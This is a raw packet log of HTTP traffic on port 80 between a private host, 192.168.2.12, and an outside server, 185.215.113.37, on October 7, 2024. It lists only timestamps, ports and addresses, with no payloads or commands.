Oct 7, 2024 18:03:24.323029041 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.323029041 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.323323965 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.323334932 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.323344946 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.323354959 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.323364973 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.323374033 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.323396921 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.323396921 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.323409081 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.375675917 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.375696898 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.375708103 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.375752926 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.375907898 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.376699924 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.376713991 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.376724958 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.376758099 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.376771927 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.376808882 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.376808882 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.442922115 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.442945004 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.442960024 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.442980051 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.443015099 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.443067074 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.443080902 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.443092108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.443104029 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.443116903 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.443116903 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.443144083 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.443157911 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.443547964 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.443591118 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.443783998 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.443837881 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.443938017 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.443950891 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.443963051 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.443973064 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.443991899 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.444014072 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.444056034 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.444067955 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.444080114 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.444092035 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.444104910 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.444144964 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.444287062 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.444307089 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.444344997 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.444389105 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.444417000 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.444427013 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.444453955 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.444478989 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.444492102 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.444504023 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.444528103 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.444559097 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.444879055 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.444890976 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.444900990 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.444911003 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.444921017 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.444927931 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.444931984 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.444945097 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.444961071 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.445452929 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.445477962 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.445497036 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.445513964 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.445525885 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.445560932 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.445584059 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.445595980 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.445607901 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.445620060 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.445631027 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.445663929 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.445817947 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.445830107 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.445841074 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.445852995 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.445864916 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.445864916 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.445878029 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.445878983 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.445894957 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.445913076 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.445941925 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.446284056 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.446296930 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.446309090 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.446331024 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.446361065 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.446423054 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.446435928 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.446460962 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.446461916 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.446472883 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.446485043 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.446485996 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.446496964 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.446505070 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.446508884 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.446532011 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.446547031 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.446898937 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.446913004 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.446923971 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.446934938 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.446947098 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.446948051 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.446959972 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.446970940 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.446990967 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.447160006 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.447173119 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.447185040 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.447195053 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.447199106 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.447226048 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.447252989 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.447264910 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.447274923 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.447287083 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.447298050 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.447299004 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.447309971 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.447314978 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.447324038 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.447336912 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.447355986 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.447376013 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.447911978 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.447923899 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.447936058 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.447947025 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.447958946 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.447969913 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.447974920 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.447982073 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.447993040 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.447994947 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.448007107 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.448009014 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.448021889 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.448040009 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.448067904 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.448566914 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.448580027 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.448622942 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.500312090 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.500356913 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.500369072 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.500375032 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.500410080 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.500410080 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.501256943 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.501269102 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.501281977 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.501318932 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.501334906 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.501452923 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.501463890 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.501477003 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.501502991 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.501527071 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.567559004 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.567581892 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.567595005 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.567651033 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.567679882 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.567862988 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.567878962 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.567892075 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.567931890 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.567958117 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.568068981 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.568114042 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.568124056 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.568134069 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.568161964 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.568589926 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.568631887 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.568687916 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.568698883 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.568710089 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.568726063 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.568757057 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.568770885 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.568782091 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.568793058 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.568804026 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.568813086 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.568830967 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.568856955 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.569109917 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.569120884 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.569132090 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.569144011 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.569152117 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.569155931 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.569179058 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.569195986 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.569328070 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.569421053 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.569432020 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.569466114 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.569490910 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.569652081 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.569664001 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.569674969 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.569685936 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.569698095 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.569703102 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.569720984 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.569737911 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.569912910 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.569924116 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.569933891 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.569951057 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.569958925 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.569962025 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.569973946 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.569984913 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.569993019 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.569993973 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.570007086 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.570009947 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.570019007 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.570029020 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.570029020 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.570054054 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.570080996 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.570991993 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.571002960 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.571012974 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.571022987 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.571033955 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.571043015 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.571043968 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.571054935 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.571063995 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.571070910 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.571075916 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.571086884 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.571089029 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.571098089 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.571105957 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.571109056 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.571120024 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.571121931 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.571161985 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.571335077 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.571351051 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.571362019 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.571372032 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.571382046 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.571393013 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.571408033 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.571419954 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.571422100 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.571430922 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.571441889 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.571444035 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.571451902 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.571464062 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.571469069 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.571475983 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.571489096 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.571500063 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.571516991 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.572097063 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.572109938 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.572135925 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.572161913 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.572226048 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.572259903 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.572348118 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.572365046 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.572376013 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.572386026 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.572396994 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.572402954 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.572407961 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.572418928 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.572421074 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.572429895 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.572439909 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.572448969 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.572451115 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.572459936 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.572467089 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.572470903 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.572495937 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.572520018 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.624929905 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.624949932 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.624962091 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.625008106 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.626374006 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.626415968 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.626420975 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.626427889 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.626444101 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.626471043 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.626547098 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.626559019 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.626569033 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.626588106 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.626611948 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.754884005 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.754903078 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.754919052 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.754940033 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.754947901 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.754952908 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.754967928 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.754972935 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.754981995 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.755043030 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.755203962 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.755215883 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.755228043 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:24.755238056 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:24.755239964 CEST	80	49711	185.215.113.37	192.168.2.12
